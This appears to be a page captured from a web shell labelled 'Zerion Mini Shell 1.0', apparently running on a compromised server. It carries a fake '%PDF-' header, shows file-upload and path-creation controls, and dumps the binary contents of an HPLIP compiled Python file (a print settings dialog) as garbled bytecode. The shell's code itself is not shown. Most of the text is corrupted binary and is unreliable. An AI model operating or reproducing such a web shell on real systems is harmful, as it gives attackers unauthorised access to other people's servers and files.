%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/share/hplip/ui5/__pycache__/
Upload File :
Create Path :
Current File : //usr/share/hplip/ui5/__pycache__/printsettingsdialog.cpython-312.pyc

�

=	f�
���ddl�ddlmZddlmZddl�ddl�ddl�ddl�ddl	m
Z
ddlmZddl
mZmZddlZGd	�d
ee
�Zy)�)�*)�device)�cups�)�	Ui_Dialog)�PrintSettingsToolbox)�(PRINTERNAMECOMBOBOX_TYPE_PRINTER_AND_FAX�!PRINTERNAMECOMBOBOX_TYPE_FAX_ONLYNc�<�eZdZd	d�Zd
d�Zd�Zd�Zd�Zd�Zd
d�Z	y)�PrintSettingsDialogc��tj||�|j|�||_||_d|_i|_i|_t�|_	|jj�|jj�|j|�tjd|j�y)Nr)�QDialog�__init__�setupUi�fax_mode�printer_name�
device_uri�devices�
printer_index�UserSettings�
user_settings�load�debug�initUi�QTimer�
singleShot�updateUi)�self�parentrrs    �+/usr/share/hplip/ui5/printsettingsdialog.pyrzPrintSettingsDialog.__init__*s�������v�&����T�� ��
�(������������*�^��������!���� � �"�	
���L�!����!�T�]�]�+�Nc�8�d|j_|jr%|jj	|j�|j
rJ|jj
t�|jj|jd��n|jj
t�|jjj|j�|jj j|j �|jj"j|j"�t%j$t$j&t$j(�|j+t-t/dd���y)NFzFax Settings�hp_logo�128x128)�OptionsToolBox�include_print_optionsr�PrinterName�setInitialPrinterr�setTyper
�
TitleLabel�setText�_PrintSettingsDialog__trr	�CloseButton�clicked�connect�CloseButton_clicked�"PrinterNameComboBox_currentChanged�PrinterNameComboBox_noPrinters�signal�SIGINT�SIG_DFL�
setWindowIcon�QIcon�load_pixmap)rrs  r rzPrintSettingsDialog.initUi=s��49����1�������.�.�t�/@�/@�A��=�=����$�$�%F�G��O�O�#�#�D�I�I�n�$=�>����$�$�%M�N���� � �(�(��)A�)A�B����;�;�C�C�D�Dk�Dk�l����7�7�?�?��@c�@c�d�	�
�
�f�m�m�V�^�^�4�	
���5��Y�	�!B�C�Dr!c�8�|jj�y�N)r'r�rs r rzPrintSettingsDialog.updateUiUs�����!�!�#r!c�Z�t||jd��|j�y)NzQ<b>No printers or faxes found.</b><p>Please setup a printer or fax and try again.)�	FailureUIr,�closer;s r r2z2PrintSettingsDialog.PrinterNameComboBox_noPrintersYs���$��	�	�"u�v�w��
�
�r!c��||_||_	|j||jj|j||j�y#t$r%t	j
|�|j|<Y�awxYwr:)rrr�KeyErrorr�Devicer%r)rrrs   r r1z6PrintSettingsDialog.PrinterNameComboBox_currentChanged^st��(���$���	A��L�L��$�	
���$�$�T�\�\�*�%=�t�?P�?P�Q���	A�'-�}�}�Z�'@�D�L�L��$�	A�s�A�+B�Bc�$�|j�yr:)r>r;s r r0z'PrintSettingsDialog.CloseButton_clickedms���
�
�r!c�0�tjd||�S)Nr)�qApp�	translate)r�s�cs   r �__trzPrintSettingsDialog.__trqs���~�~�3�A�a�8�8r!)Fr:)
�__name__�
__module__�__qualname__rrrr2r1r0r,�r!r rr)s'��,�&E�0$��
R��9r!r)�base.g�baser�prntr�ui_utils�PyQt5.QtCore�PyQt5.QtGui�PyQt5.QtWidgets�printsettingsdialog_baser�printsettingstoolboxr�printernamecomboboxr	r
r3rrrLr!r �<module>rWs>��.�������0�6�l��I9�'�9�I9r!

Zerion Mini Shell 1.0